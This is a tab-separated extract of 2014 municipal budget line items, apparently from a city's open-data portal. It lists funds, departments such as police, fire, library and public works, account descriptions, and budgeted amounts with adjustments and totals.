9461	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
9462	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	425272.0	0	0	0	0.0	6574	14667.0	0	0	0	0	0.0	446513.0
9463	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	1628.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1628.0
9464	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	125000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	125000.0
9465	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544050.0	CEMENT / SAND / GRAVEL	808.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
9466	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522910.0	VEHICLES - FUELS / LUBRICATION	848.0	 Supplies and Expenses	2014	36593.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	36593.0
9467	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522110.0	UTIL - LIGHT / POWER	850.0	 Supplies and Expenses	2014	502762.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	502762.0
9468	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	848.0	 Supplies and Expenses	2014	103918.91	0	0	0	0.0	0	0.0	0	0	0	0	0.0	103918.91
9469	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	555210.0	TRAINING	862.0	 Supplies and Expenses	2014	10600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10600.0
9470	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522900.0	MEMBERSHIPS AND DUES	812.0	 Supplies and Expenses	2014	10275.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10275.0
9471	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	405450.0	HBP-FHWA CAL INCLINE DESIGN	610.0	Intergovernmental	2014	0.0	0	0	0	-465628.59	0	0.0	0	0	0	0	0.0	-465628.59
9472	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402490.0	WATER CAPITAL FACILITIES FEE	650.0	Charges for Service	2014	-336000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-336000.0
9473	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	404170.0	OTHER REVENUE - MISCELLANEOUS	662.0	Other	2014	-4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4000.0
9474	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	96262.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	96262.0
9475	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511250.0	STANDBY PAY	816.0	Salaries and Wages	2014	29849.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29849.0
9476	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511730.0	WORKERS' COMP INSURANCE	806.0	Salaries and Wages	2014	3255274.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3255274.0
9477	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2014	5125.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5125.0
9478	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	133050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	133050.0
9479	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2014	3016.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3016.0
9480	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555030.0	EMPLOYEE MEDICAL EXAMS	806.0	 Supplies and Expenses	2014	25625.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25625.0
9481	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511490.0	OVERTIME	806.0	Salaries and Wages	2014	2932140.0	0	0	0	250000.0	56285	9662.0	0	0	0	0	0.0	3248087.0
9482	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2014	20524.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20524.0
9483	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522620.0	RENT	806.0	 Supplies and Expenses	2014	2250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2250.0
9484	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511000.0	PERMANENT EMPLOYEES	840.0	Salaries and Wages	2014	604449.0	0	0	0	0.0	10743	1108.0	0	0	0	0	0.0	616300.0
9485	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2014	40775.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	40775.0
9486	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544090.0	MEDICAL/FIRST AID SUPPLIES	806.0	 Supplies and Expenses	2014	117883.0	0	0	0	0.0	0	37400.0	0	0	0	0	0.0	155283.0
9487	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	588200.0	BLDG RENOVATION / MAINTENANCE	806.0	 Supplies and Expenses	2014	27183.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27183.0
9488	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511972.0	UNIFORM ALLOWANCE		Salaries and Wages	2014	7200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7200.0
9489	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	425560.0	0	0	0	0.0	26306	-4585.0	0	0	0	0	0.0	447281.0
9490	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511490.0	OVERTIME	806.0	Salaries and Wages	2014	32208.0	0	0	0	0.0	0	4585.0	0	0	0	0	0.0	36793.0
9491	B1	IS	1	General Fund	310	FIRE	315	TRAINING	588070.0	EDUC & RECREATIONAL EQUIPMENT	806.0	 Supplies and Expenses	2014	13592.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13592.0
9492	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2014	139759.0	0	0	0	0.0	0	5623.0	0	0	0	0	0.0	145382.0
9493	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	760.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	760.0
9494	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	285.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	285.0
9495	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533020.0	GENERAL LIABILITY / AUTO	812.0	 Supplies and Expenses	2014	25279.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25279.0
9496	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511490.0	OVERTIME	806.0	Salaries and Wages	2014	1018310.0	0	0	0	0.0	19430	8596.0	0	0	0	0	0.0	1046336.0
9497	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	533160.0	PHOTO EQUIPMENT MAINTENANCE	806.0	 Supplies and Expenses	2014	1743.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1743.0
9498	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511510.0	CROSSING GUARDS	806.0	Salaries and Wages	2014	454159.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	454159.0
9499	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	40920.0	0	0	0	0.0	760	0.0	0	0	0	0	0.0	41680.0
9500	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2014	256.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	256.0
9501	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511490.0	OVERTIME		Salaries and Wages	2014	71869.0	0	0	0	0.0	0	1512.0	0	0	0	0	0.0	73381.0
9502	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	102987.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	102987.0
9503	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2014	9075.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9075.0
9504	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2014	9284.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9284.0
9505	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533210.0	BLDG OPER / CUST SUPPLIES	806.0	 Supplies and Expenses	2014	16310.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16310.0
9506	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	117180.0	0	0	0	0.0	290	0.0	0	0	0	0	0.0	117470.0
9507	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	12420.0	0	0	0	0.0	480	600.0	0	0	0	0	0.0	13500.0
9508	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2014	1673.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1673.0
9509	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522042.0	RECOVERY FROM SUBROGATION		 Supplies and Expenses	2014	-110000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-110000.0
9510	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555013.0	OUTSIDE REPAIRS - SHOP EQUIP		 Supplies and Expenses	2014	73934.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	73934.0
9511	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	2338699.0	0	0	0	0.0	0	-1912.0	0	0	41568	0	0.0	2378355.0
9512	B1	IS	1	General Fund	310	FIRE	315	TRAINING	555210.0	TRAINING	806.0	 Supplies and Expenses	2014	136796.0	0	0	0	1912.0	0	75000.0	0	0	0	0	0.0	213708.0
9513	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2014	256563.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	256563.0
9514	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522130.0	UTILITIES - WATER	812.0	 Supplies and Expenses	2014	47500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	47500.0
9515	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	3990.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3990.0
9516	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	4560.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4560.0
9517	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	95.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	95.0
9518	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522044.0	PREMIUMS FOR PL & PD-SRV REV		 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
9519	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2014	28481.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28481.0
9520	B1	IS	1	General Fund	310	FIRE	315	TRAINING	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2014	523.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	523.0
9521	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	35899.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	35899.0
9522	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	59160.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	59160.0
9523	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2014	340330.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	340330.0
9524	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	80000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	80000.0
9525	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522110.0	UTIL - LIGHT / POWER	812.0	 Supplies and Expenses	2014	308600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	308600.0
9526	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522320.0	METERED POSTAGE	812.0	 Supplies and Expenses	2014	25600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25600.0
9527	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	67230.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	67230.0
9528	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	5700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5700.0
9529	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	285.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	285.0
9530	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	1805.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1805.0
9531	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2014	9580.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9580.0
9532	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2014	2755.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2755.0
9533	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2014	1330.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1330.0
9534	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2014	1603932.0	0	0	0	0.0	24013	-152.0	0	0	0	0	0.0	1627793.0
9535	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2014	2264206.0	0	0	0	0.0	34273	-2.0	0	0	0	0	0.0	2298477.0
9536	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	150000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	150000.0
9537	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	6384.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6384.0
9538	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	12993.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12993.0
9539	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522210.0	UTILITIES - TELEPHONE	812.0	 Supplies and Expenses	2014	17400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17400.0
9540	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	2850.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2850.0
9541	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	1995.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1995.0
9542	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	3810.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3810.0
9543	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	285.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	285.0
9544	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533260.0	REPAIRS/IMPROVEMENTS	812.0	 Supplies and Expenses	2014	65137.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	65137.0
9545	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	1995.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1995.0
9546	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	70965.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	70965.0
9547	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	555050.0	BOOK BINDING	812.0	 Supplies and Expenses	2014	6147.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6147.0
9548	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511490.0	OVERTIME	812.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	152.0	0	0	0	0	0.0	152.0
9549	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511490.0	OVERTIME	812.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	2.0	0	0	0	0	0.0	2.0
9550	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2014	64100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	64100.0
9551	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
9552	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	20408.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20408.0
9553	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	1635.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1635.0
9554	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522160.0	TRANSFER STATION FEE	848.0	 Supplies and Expenses	2014	8200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8200.0
9555	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522210.0	UTILITIES - TELEPHONE	850.0	 Supplies and Expenses	2014	12608.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12608.0
9556	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533020.0	GENERAL LIABILITY / AUTO	854.0	 Supplies and Expenses	2014	250648.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	250648.0
9557	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555700.0	REGULATORY AGENCY FEES	866.0	 Supplies and Expenses	2014	110000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	110000.0
9558	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	577050.0	PROPERTY TAXES	866.0	 Supplies and Expenses	2014	128000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	128000.0
9559	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	555300.0	LIBRARY BOND DEBT SERVICE	910.0	 Supplies and Expenses	2014	1486350.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1486350.0
9560	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566220.0	CONVENTION / VISITORS	816.0	 Supplies and Expenses	2014	2545381.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2545381.0
9561	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	533230.0	SECURITY SYSTEMS	804.0	 Supplies and Expenses	2014	4523.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4523.0
9562	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522160.0	TRANSFER STATION FEE	816.0	 Supplies and Expenses	2014	1661.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1661.0
9563	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522620.0	RENT	806.0	 Supplies and Expenses	2014	55450.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	55450.0
9564	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544030.0	BADGE / AWARD / NAME PLA	806.0	 Supplies and Expenses	2014	15683.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15683.0
9565	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544120.0	PERIODICALS	806.0	 Supplies and Expenses	2014	1634.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1634.0
9566	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2014	-1337.0	0	0	0	1950.0	0	0.0	0	0	0	0	0.0	613.0
9567	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511500.0	TEMPORARY EMPLOYEES	806.0	Salaries and Wages	2014	172847.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	172847.0
9568	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2014	1025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1025.0
9569	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2014	10698.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10698.0
9570	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522920.0	VEHICLES - REPAIRS	806.0	 Supplies and Expenses	2014	1025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1025.0
9571	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	566140.0	INVESTIGATION EXPENSE	806.0	 Supplies and Expenses	2014	10250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10250.0
9572	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	8721848.0	0	0	0	-19668.0	153324	27046.84	0	0	0	0	0.0	8882550.84
9573	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	555180.0	PHOTOGRAPHIC EXPENSE	806.0	 Supplies and Expenses	2014	5638.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5638.0
9574	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	1129.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1129.0
9575	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533140.0	BOAT MAINTENANCE / OPERATION		 Supplies and Expenses	2014	23470.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23470.0
9576	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544120.0	PERIODICALS		 Supplies and Expenses	2014	51.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	51.0
9577	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	1807609.0	0	0	0	331462.0	75166	-7870.0	0	0	0	0	0.0	2206367.0
9578	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2014	5384.0	0	0	0	0.0	0	200.0	0	0	0	0	0.0	5584.0
9579	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	806.0	Salaries and Wages	2014	982848.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	982848.0
9580	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522120.0	UTILITIES - NATURAL GAS	806.0	 Supplies and Expenses	2014	11790.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11790.0
9581	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2014	3032.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3032.0
9582	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511300.0	HOLIDAY PAY	806.0	Salaries and Wages	2014	485386.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	485386.0
9583	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-175000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-175000.0
9584	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	405080.0	SALE OF MUNICIPAL CODES	612.0	Charges for Service	2014	-100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-100.0
9585	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	401340.0	GEN PROM BUS LIC.-DOWNTOWN	622.0	Other	2014	-10150.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10150.0
9586	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400690.0	PLAN CHECK FEES-ENGINEERING	612.0	Charges for Service	2014	-383728.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-383728.0
